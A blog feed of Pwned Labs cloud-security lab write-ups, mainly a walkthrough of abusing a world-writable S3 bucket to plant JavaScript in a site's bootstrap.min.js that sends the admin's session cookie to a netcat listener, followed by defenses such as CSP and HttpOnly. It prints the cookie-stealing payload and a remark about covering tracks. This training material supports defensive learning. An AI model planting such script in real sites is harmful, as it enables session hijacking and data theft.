</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;_AWS_XRAY_DAEMON_ADDRESS=169.254.79.129&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;_AWS_XRAY_DAEMON_PORT=2000&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;_LAMBDA_TELEMETRY_LOG_FD=3&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_XRAY_CONTEXT_MISSING=LOG_ERROR&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;_HANDLER=lambda_function.lambda_handler&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_LAMBDA_FUNCTION_MEMORY_SIZE=128&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We set the keys and validate that they are working</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cognito sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AROAWHEOTHRFZGQWG7JDW:huge-logistics-status&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;427648302155&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:sts::427648302155:assumed-role/huge-logistics-status-role-4m4kg3fv/huge-logistics-status&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>As we have a new account, lets check out the bucket that was mentioned in the <code>lambda_function.py</code> code</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cognito s3 ls hl-status-log-bucket --recursive
</span></span><span style="display:flex;"><span>2023-07-16 05:14:09          <span style="color:#ae81ff">0</span> IT-Temp/
</span></span><span style="display:flex;"><span>2023-07-16 05:14:24      <span style="color:#ae81ff">54152</span> IT-Temp/Huge Logistics Company_ AWS Disaster Recovery Plan.pdf
</span></span><span style="display:flex;"><span>2023-07-15 20:11:50         <span style="color:#ae81ff">32</span> flag.txt
</span></span></code></pre></div><p>Disaster Recover Plan is always worth looking at which contains Break Glass Recovery Procedures and nice of them to also provide the credentials.</p>
<p><img src="/assets/pwn_20240725110525.png" alt=""></p>
<p>PWNED!</p>
]]></content>
        </item>
        
        <item>
            <title>Pwned Labs - Leverage Writable S3 Bucket to Steal Admin Cookie</title>
            <link>https://www.nephos.guru/posts/2024/writables3admincookie/</link>
            <pubDate>Wed, 17 Jul 2024 12:02:25 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/writables3admincookie/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/leverage-writable-s3-bucket-to-steal-admin-cookie&#34;&gt;Pwned Labs - Leverage Writable S3 Bucket to Steal Admin Cookie&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
&lt;p&gt;After gaining a foothold in the Huge Logistics AWS environment by compromising a user in a phishing attack, you found an &lt;code&gt;ssh.txt&lt;/code&gt; on their desktop with the IP address, along with the credentials &lt;code&gt;marco : hlpass99&lt;/code&gt; . You have been tasked with getting deeper inside their on-premise and AWS network, and have permission to exploit any other users or interactive processes you may find!&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/leverage-writable-s3-bucket-to-steal-admin-cookie">Pwned Labs - Leverage Writable S3 Bucket to Steal Admin Cookie</a></p>
<h2 id="scenario">Scenario</h2>
<p>After gaining a foothold in the Huge Logistics AWS environment by compromising a user in a phishing attack, you found an <code>ssh.txt</code> on their desktop with the IP address, along with the credentials <code>marco : hlpass99</code> . You have been tasked with getting deeper inside their on-premise and AWS network, and have permission to exploit any other users or interactive processes you may find!</p>
<h2 id="learning-outcomes">Learning Outcomes</h2>
<ul>
<li>Basic source code enumeration</li>
<li>Familiarity with the AWS CLI</li>
<li>Enumerating and assessing S3 bucket security</li>
<li>Perform a session hijacking attack to steal and use an admin&rsquo;s cookie</li>
<li>Using Amazon Macie to identify public buckets (follow-up lab recommended)</li>
<li>Understand the web server settings that could have mitigated this attack</li>
</ul>
<h2 id="real-world-context">Real World Context</h2>
<p>Stealing and using cookies from privileged users is a serious and real-world security issue. This type of attack, often referred to as &ldquo;session sidejacking&rdquo; or &ldquo;session hijacking,&rdquo; involves an attacker obtaining a user&rsquo;s session cookie, allowing them to impersonate that user on a web application. Administrative privileges in a web application context often allows for accessing sensitive information or other functionality that may be abusable. In terms of writable S3 buckets, various sources <a href="https://www.tripwire.com/state-of-security/public-aws-s3-buckets-writable#:~:text=Most%20crucially%2C%20the%20research%20shows,publicly%20accessible%20buckets%20are%20writable.">estimate</a> that between 5% to 20% of all public S3 buckets are writable!</p>
<h2 id="entry-point">Entry Point</h2>
<p>10.138.0.30</p>
<hr>
<h2 id="attack">Attack</h2>
<p>As we have an IP as an entry point and credentials, we will see if we are able to use these to gain a foothold.  We have been able to successfully login and we run the command <code>bash</code> to give us a decent shell and then start basic enumeration.  There is nothing in the home directory, we don&rsquo;t have <code>sudo</code> permissions, but we do see that there is a web server running on the system</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>marco@ip-10-138-0-30:~$ ss -tulpn
</span></span><span style="display:flex;"><span>Netid       State        Recv-Q       Send-Q                 Local Address:Port               Peer Address:Port       Process
</span></span><span style="display:flex;"><span>udp         UNCONN       <span style="color:#ae81ff">0</span>            <span style="color:#ae81ff">0</span>                      127.0.0.53%lo:53                      0.0.0.0:*
</span></span><span style="display:flex;"><span>udp         UNCONN       <span style="color:#ae81ff">0</span>            <span style="color:#ae81ff">0</span>                   10.138.0.30%eth0:68                      0.0.0.0:*
</span></span><span style="display:flex;"><span>tcp         LISTEN       <span style="color:#ae81ff">0</span>            <span style="color:#ae81ff">4096</span>                   127.0.0.53%lo:53                      0.0.0.0:*
</span></span><span style="display:flex;"><span>tcp         LISTEN       <span style="color:#ae81ff">0</span>            <span style="color:#ae81ff">128</span>                          0.0.0.0:22                      0.0.0.0:*
</span></span><span style="display:flex;"><span>tcp         LISTEN       <span style="color:#ae81ff">0</span>            <span style="color:#ae81ff">511</span>                                *:80                            *:*
</span></span><span style="display:flex;"><span>tcp         LISTEN       <span style="color:#ae81ff">0</span>            <span style="color:#ae81ff">128</span>                             <span style="color:#f92672">[</span>::<span style="color:#f92672">]</span>:22                         <span style="color:#f92672">[</span>::<span style="color:#f92672">]</span>:*
</span></span></code></pre></div><p>We navigate to the <code>/var/www/html</code> directory and there are some files of interest, namely the Excel Spreadsheet and <code>config.php</code>, but we don&rsquo;t have access to these at this point in time.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>marco@ip-10-138-0-30:/var/www/html$ ls -la
</span></span><span style="display:flex;"><span>total <span style="color:#ae81ff">60</span>
</span></span><span style="display:flex;"><span>drwxr-xr-x <span style="color:#ae81ff">3</span> www-data www-data  <span style="color:#ae81ff">4096</span> Jul <span style="color:#ae81ff">17</span> 01:41 .
</span></span><span style="display:flex;"><span>drwxr-xr-x <span style="color:#ae81ff">3</span> root     root      <span style="color:#ae81ff">4096</span> Jan  <span style="color:#ae81ff">3</span>  <span style="color:#ae81ff">2024</span> ..
</span></span><span style="display:flex;"><span>-r--r----- <span style="color:#ae81ff">1</span> www-data www-data <span style="color:#ae81ff">12107</span> Jan  <span style="color:#ae81ff">3</span>  <span style="color:#ae81ff">2024</span> 8e685ca5924cbe9d3cd27efcd29d8763.xlsx
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> www-data www-data  <span style="color:#ae81ff">4331</span> Jul <span style="color:#ae81ff">17</span> 01:41 admin.php
</span></span><span style="display:flex;"><span>drwxr-xr-x <span style="color:#ae81ff">2</span> www-data www-data  <span style="color:#ae81ff">4096</span> Jul <span style="color:#ae81ff">17</span> 01:41 assets
</span></span><span style="display:flex;"><span>-rw-r----- <span style="color:#ae81ff">1</span> www-data www-data   <span style="color:#ae81ff">110</span> Jan  <span style="color:#ae81ff">3</span>  <span style="color:#ae81ff">2024</span> config.php
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> www-data www-data    <span style="color:#ae81ff">19</span> Jan  <span style="color:#ae81ff">3</span>  <span style="color:#ae81ff">2024</span> contact_me.php
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> www-data www-data  <span style="color:#ae81ff">3464</span> Jul <span style="color:#ae81ff">17</span> 01:41 home.php
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> www-data www-data <span style="color:#ae81ff">15409</span> Jul <span style="color:#ae81ff">17</span> 01:41 index.php
</span></span></code></pre></div><p>We look inside <code>home.php</code> and we can see that there is an S3 bucket listed</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>[<span style="color:#a6e22e">snip</span>]
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">head</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">meta</span> <span style="color:#a6e22e">http</span><span style="color:#f92672">-</span><span style="color:#a6e22e">equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;X-UA-Compatible&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;IE=edge&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">title</span><span style="color:#f92672">&gt;</span><span style="color:#a6e22e">Admin</span> <span style="color:#a6e22e">Panel</span> <span style="color:#a6e22e">Log</span> <span style="color:#a6e22e">in</span><span style="color:#f92672">&lt;/</span><span style="color:#a6e22e">title</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;!--</span> <span style="color:#a6e22e">Tell</span> <span style="color:#a6e22e">the</span> <span style="color:#a6e22e">browser</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">be</span> <span style="color:#a6e22e">responsive</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">screen</span> <span style="color:#a6e22e">width</span> <span style="color:#f92672">--&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">meta</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;!--</span> <span style="color:#a6e22e">Bootstrap</span> <span style="color:#ae81ff">3.3</span><span style="color:#f92672">.</span><span style="color:#ae81ff">6</span> <span style="color:#f92672">--&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://frontend-web-assets-3bf50bf21342.s3.amazonaws.com/assets/bootstrap.min.css&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;!--</span> <span style="color:#a6e22e">Font</span> <span style="color:#a6e22e">Awesome</span> <span style="color:#f92672">--&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://frontend-web-assets-3bf50bf21342.s3.amazonaws.com/assets/font-awesome.min.css&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://frontend-web-assets-3bf50bf21342.s3.amazonaws.com/assets/bootstrap.min.js&#34;</span> <span style="color:#f92672">&gt;&lt;/</span><span style="color:#a6e22e">script</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://frontend-web-assets-3bf50bf21342.s3.amazonaws.com/assets/jquery-3.7.0.min.js&#34;</span> <span style="color:#f92672">&gt;&lt;/</span><span style="color:#a6e22e">script</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">link</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://frontend-web-assets-3bf50bf21342.s3.amazonaws.com/assets/font.css&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">link</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://frontend-web-assets-3bf50bf21342.s3.amazonaws.com/assets/default.css&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/</span><span style="color:#a6e22e">head</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">snip</span>]
</span></span></code></pre></div><p>After fully enumerating the server, we will move our focus to the S3 bucket that we have found in <code>home.php</code> which when we browse to this takes us to Admin Panel login page which we try some common username:password combinations, but with no success.</p>
<p><img src="/assets/pwn_20240717100029.png" alt=""></p>
<p>We have been able to query the bucket which has been configured to allow public listing by issuing an unauthenticated request using the <code>--no-sign-request</code> parameter</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws s3 ls s3://frontend-web-assets-3bf50bf21342 --recursive --no-sign-request
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51       <span style="color:#ae81ff">6987</span> assets/1.jpg
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51    <span style="color:#ae81ff">1219655</span> assets/11.jpg
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51      <span style="color:#ae81ff">15337</span> assets/2.jpg
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51      <span style="color:#ae81ff">54967</span> assets/2.png
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51    <span style="color:#ae81ff">2553456</span> assets/22.jpg
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51    <span style="color:#ae81ff">3213672</span> assets/33.jpg
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51    <span style="color:#ae81ff">1808528</span> assets/55.jpg
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51       <span style="color:#ae81ff">1536</span> assets/agency.js
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51       <span style="color:#ae81ff">1092</span> assets/agency.min.js
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51      <span style="color:#ae81ff">32403</span> assets/bootstrap-grid.css
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51      <span style="color:#ae81ff">24162</span> assets/bootstrap-grid.min.css
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51       <span style="color:#ae81ff">4964</span> assets/bootstrap-reboot.css
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51       <span style="color:#ae81ff">4066</span> assets/bootstrap-reboot.min.css
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51     <span style="color:#ae81ff">192909</span> assets/bootstrap.bundle.js
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51      <span style="color:#ae81ff">69453</span> assets/bootstrap.bundle.min.js
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51     <span style="color:#ae81ff">159202</span> assets/bootstrap.css
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51     <span style="color:#ae81ff">111610</span> assets/bootstrap.js
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51     <span style="color:#ae81ff">127343</span> assets/bootstrap.min.css
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51      <span style="color:#ae81ff">50564</span> assets/bootstrap.min.js
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51    <span style="color:#ae81ff">1219655</span> assets/chris-white-366004.jpg
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51       <span style="color:#ae81ff">2807</span> assets/contact_me.js
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51       <span style="color:#ae81ff">2252</span> assets/default.css
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51      <span style="color:#ae81ff">27466</span> assets/font-awesome.min.css
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51        <span style="color:#ae81ff">178</span> assets/font.css
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51      <span style="color:#ae81ff">77160</span> assets/fontawesome-webfont.woff2
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51     <span style="color:#ae81ff">433078</span> assets/header1.jpg
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51      <span style="color:#ae81ff">36329</span> assets/itw.jpg
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51      <span style="color:#ae81ff">37173</span> assets/jqBootstrapValidation.js
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51      <span style="color:#ae81ff">87462</span> assets/jquery-3.7.0.min.js
</span></span><span style="display:flex;"><span>2024-07-17 09:40:51     <span style="color:#ae81ff">316940</span> assets/map-image.png
</span></span></code></pre></div><p>We will download these to our local machine using <code>aws s3 cp s3://frontend-web-assets-3bf50bf21342 . --recursive --no-sign-request</code> and then check Bucket and Object ACLs</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws s3api get-bucket-acl --bucket frontend-web-assets-3bf50bf21342 --no-sign-request
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>An error occurred <span style="color:#f92672">(</span>AccessDenied<span style="color:#f92672">)</span> when calling the GetBucketAcl operation: Access Denied
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws s3api get-object-acl --bucket frontend-web-assets-3bf50bf21342 --key assets/22.jpg --no-sign-request
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>An error occurred <span style="color:#f92672">(</span>AccessDenied<span style="color:#f92672">)</span> when calling the GetObjectAcl operation: Access Denied
</span></span></code></pre></div><p>As we were able to get the ACLs, we will revert to some old school methods and see if we are able to upload a file into the bucket and can see that we have full world-writable permissions.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ echo <span style="color:#e6db74">&#34;This is a test&#34;</span> &gt; test
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws s3 cp test s3://frontend-web-assets-3bf50bf21342/assets/test --no-sign-request
</span></span><span style="display:flex;"><span>upload: ./test to s3://frontend-web-assets-3bf50bf21342/assets/test
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws s3 ls s3://frontend-web-assets-3bf50bf21342/assets/ --no-sign-request | grep test
</span></span><span style="display:flex;"><span>2024-07-17 10:11:35         <span style="color:#ae81ff">15</span> test
</span></span></code></pre></div><p>If we recall, there was an Admin Login page, so a reasonable assumption would be that we could modify one of the Javascript files that are in the <code>admin.php</code> page and then set up a listener on the server and wait for a cookie that we could steal to bypass the login page.</p>
<p>We will use the <code>bootstrap.min.js</code> file and we will modify by adding the following to the beginning of the file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">xhr</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">XMLHttpRequest</span>();
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">xhr</span>.<span style="color:#a6e22e">open</span>(<span style="color:#e6db74">&#34;GET&#34;</span>, <span style="color:#e6db74">&#34;http://localhost:8000/steal?cookie=&#34;</span> <span style="color:#f92672">+</span> document.<span style="color:#a6e22e">cookie</span>, <span style="color:#66d9ef">true</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">xhr</span>.<span style="color:#a6e22e">send</span>();
</span></span></code></pre></div><p>The following is a breakdown of the command:</p>
<ul>
<li><strong><code>var xhr = new XMLHttpRequest();</code></strong>: This creates a new XMLHttpRequest object.</li>
<li><strong><code>xhr.open(&quot;GET&quot;, &quot;http://localhost:8000/steal?cookie=&quot; + document.cookie, true);</code></strong>: This initializes a GET request to the server that we have access to using Port 8000 as it doesn&rsquo;t require administrative privileges to create this port, with the cookies appended to the URL.</li>
<li><strong><code>xhr.send();</code></strong>: This sends the request and the cookies are sent to us</li>
</ul>
<p>On the target server we will setup a listener with the command <code>nc -nlvp 8000</code> and then we will upload the modified file to the S3 bucket</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws s3 cp bootstrap.min.js s3://frontend-web-assets-3bf50bf21342/assets/bootstrap.min.js --no-sign-request
</span></span><span style="display:flex;"><span>upload: ./bootstrap.min.js to s3://frontend-web-assets-3bf50bf21342/assets/bootstrap.min.js
</span></span></code></pre></div><p>We immediately get a response in our listener which contains the cookie</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>marco@ip-10-138-0-30:~$ nc -nlvp <span style="color:#ae81ff">8000</span>
</span></span><span style="display:flex;"><span>Listening on 0.0.0.0 <span style="color:#ae81ff">8000</span>
</span></span><span style="display:flex;"><span>Connection received on 127.0.0.1 <span style="color:#ae81ff">41904</span>
</span></span><span style="display:flex;"><span>OPTIONS /?PHPSESSID<span style="color:#f92672">=</span>qkb03bui9ufqi4vgl6okn3t3ea HTTP/1.1
</span></span><span style="display:flex;"><span>Host: localhost:8000
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Accept: */*
</span></span><span style="display:flex;"><span>Access-Control-Request-Method: GET
</span></span><span style="display:flex;"><span>Access-Control-Request-Headers: accept
</span></span><span style="display:flex;"><span>Origin: http://localhost
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 <span style="color:#f92672">(</span>X11; Linux x86_64<span style="color:#f92672">)</span> AppleWebKit/537.36 <span style="color:#f92672">(</span>KHTML, like Gecko<span style="color:#f92672">)</span> HeadlessChrome/120.0.6099.216 Safari/537.36
</span></span><span style="display:flex;"><span>Sec-Fetch-Mode: cors
</span></span><span style="display:flex;"><span>Sec-Fetch-Site: same-site
</span></span><span style="display:flex;"><span>Sec-Fetch-Dest: empty
</span></span><span style="display:flex;"><span>Referer: http://localhost/
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate, br
</span></span></code></pre></div><p><img src="/assets/pwn_20240717105419.png" alt=""></p>
<p>We then navigate to <code>/home.php</code> and we are presented with the following page</p>
<p><img src="/assets/pwn_20240717111532.png" alt=""></p>
<p>We click on Export as XLS and it downloads a file which contains the following information</p>
<p><img src="/assets/pwn_20240717112255.png" alt=""></p>
<p>To return the system to normal, we can just copy the original file back and overwrite the changes that we made and no one will be the wiser.</p>
<h2 id="defense">Defense</h2>
<p>There are several things that could have been undertaken to make this more secure with the first not having a world-readable / world-writable Public S3 Buckets which could easily be detected using AWS Macie using the following syntax from the AWS CLI</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>aws macie2 describe-buckets --region &lt;region&gt;  --criteria <span style="color:#e6db74">&#39;{&#34;publicAccess.effectivePermission&#34;:{&#34;eq&#34;:[&#34;PUBLIC&#34;]}}&#39;</span> --query <span style="color:#e6db74">&#39;buckets[*].{BucketName: bucketName, AllowsPublicReadAccess: publicAccess.permissionConfiguration.bucketLevelPermissions.bucketPolicy.allowsPublicReadAccess, AllowsPublicWriteAccess: publicAccess.permissionConfiguration.bucketLevelPermissions.bucketPolicy.allowsPublicWriteAccess}&#39;</span> --output table
</span></span></code></pre></div><p>The following are security configurations that could have been implemented on the web server</p>
<ol>
<li><strong>Using HTTPS</strong>: We should always use HTTPS, not just HTTP. HTTPS ensures that the data between the client and server is encrypted, preventing man-in-the-middle attacks and eavesdropping. If HTTPS was in use, even if an attacker could tamper with the S3 content, they wouldn&rsquo;t be able to easily capture the traffic (like cookies) without the relevant decryption keys.</li>
<li><strong>Implementing a Content Security Policy (CSP)</strong>: It is recommended to implement a Content Security Policy header in your web application. A CSP can be used to block unauthorized XHR requests to domains other than the application&rsquo;s origin, which in this scenario would have prevented the exfiltration of data to a malicious server.</li>
<li><strong>Using the SameSite Cookie Attribute</strong>: Use the <code>SameSite</code> attribute for cookies. We can set it to <code>Strict</code> or <code>Lax</code> to ensure that the cookie is only sent in requests coming from the same site, which reduces the risk from cross-site request forgery attacks.</li>
<li><strong>Specifying an HttpOnly Attribute</strong>: We can use the <code>HttpOnly</code> attribute for cookies, which prevents the cookie from being accessed via JavaScript. This means that even if there&rsquo;s malicious JavaScript injected, it can&rsquo;t read the cookie value.</li>
<li><strong>Enforcing Subresource Integrity Checks</strong>: A security feature that enables browsers to verify that resources (e.g., scripts or stylesheets) fetched from a third-party source have not been altered. By including a cryptographic hash in the resource&rsquo;s HTML tag, the browser can compare the fetched file&rsquo;s hash with the specified one, ensuring the integrity and authenticity of the resource. If the hashes don&rsquo;t match, the browser will refuse to execute or apply the resource, thereby protecting against malicious modifications.</li>
</ol>
]]></content>
        </item>
        
        <item>
            <title>Pwned Labs - Uncover Secrets in CodeCommit and Docker</title>
            <link>https://www.nephos.guru/posts/2024/codecommit/</link>
            <pubDate>Tue, 09 Jul 2024 17:23:25 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/codecommit/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/uncover-secrets-in-codecommit-and-docker&#34;&gt;Uncover Secrets in CodeCommit and Docker&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
&lt;p&gt;Huge Logistics has engaged your team for a security assessment. Your primary objective is to scrutinize their public repositories for overlooked credentials or sensitive information. If you discover any, use them to gain initial access to their cloud infrastructure. From there, focus on lateral and vertical movement to demonstrate impact. Your aim is to identify any security gaps so they can be closed off.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/uncover-secrets-in-codecommit-and-docker">Uncover Secrets in CodeCommit and Docker</a></p>
<h2 id="scenario">Scenario</h2>
<p>Huge Logistics has engaged your team for a security assessment. Your primary objective is to scrutinize their public repositories for overlooked credentials or sensitive information. If you discover any, use them to gain initial access to their cloud infrastructure. From there, focus on lateral and vertical movement to demonstrate impact. Your aim is to identify any security gaps so they can be closed off.</p>
<h2 id="learning-outcomes">Learning Outcomes</h2>
<ul>
<li>Interacting with and getting secrets from Docker containers</li>
<li>Enumerating and getting secrets from AWS CodeCommit</li>
<li>An understanding of how this could have been prevented</li>
</ul>
